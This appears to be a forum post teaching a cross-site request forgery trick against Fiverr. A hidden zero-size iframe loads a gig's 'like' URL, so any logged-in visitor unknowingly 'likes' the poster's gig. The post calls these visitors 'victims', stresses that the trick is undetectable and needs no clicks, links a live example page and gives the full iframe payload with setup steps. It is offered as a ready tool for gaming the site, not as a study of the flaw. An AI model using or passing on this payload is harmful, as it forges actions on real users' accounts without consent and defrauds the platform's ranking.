Preface: This requires no coding skill whatsoever, you aren't "outed" if they don't have a fiverr account and you won't be "outed" if they do. In other words, it is completely undetectable to your victims that they've just been "forced" to "like" your gig. Also, this method requires NO USER ACTIONS to work. That means that all they have to do is SIMPLY ARRIVE at a page with the code below on it and they'll "like" your gig. They don't have to click or do anything other than show up. Backstory: Alright, so I wanted to mess around with Fiverr as it seems to be "all the rage" right now. The site is getting over 200k visitors a month, and it would be nice to get something from that. So, I made a gig just a couple minutes ago and I immediately realize a problem...the problem that exists with anything venture on the web...getting traffic! It seems once you get the ball rolling and you get some sales and nice reviews that it isn't that difficult to continue getting traffic, but getting that ball rolling seems like it can be tough. So after playing around with it for a couple of minutes, I came up with a way to force people to add your gig in their "fiverr bookmarks" (Fiverr.com homepage -> Profile -> Stuff I Like) What's cool is, not only can you see the "Gigs" that you've "liked" on Fiverr, but so can everybody else that visits your profile page! Live Working Example: First, go to www.fiverr.com and log into your account and check out the "gigs" you've liked (if any). You can do that by logging in, and mousing over "profile" at the top of the page and then clicking on "Stuff I Like". Now leave fiverr.com by browsing away from it, go to any other webpage at all. Then, paste this link in your address bar: http://get-stuff-free.info/fiverr/favoriteit.htm That's it! Simply by visiting that URL you'll be "liking" my fiverr gig! You don't have to click, you don't have to do anything at all...just visit the page. Method: Your gig will only be "liked" on Fiverr.com using this method if the person arriving at your "special" page A: Has a fiverr.com account & B: They have logged into it at some point during their browsing session Simply go to your gig on Fiverr.com, find your Gig and then mouseover the "like" link (it has a heart next to it). Right click and then click on properties and a window will open up. Copy the URL that appears next to "Address:". Now, put this code on the URL where your victims will be going: Code: <iframe name="I1" src="THE URL YOU JUST COPIED IN THE STEP ABOVE" width="0" height="0" scrolling="no" border="0" frameborder="0"> Your browser does not support inline frames or is currently configured not to display inline frames. </iframe> That's it! You're simply having them visit the "like" URL in an iFrame they can't see. Enjoy!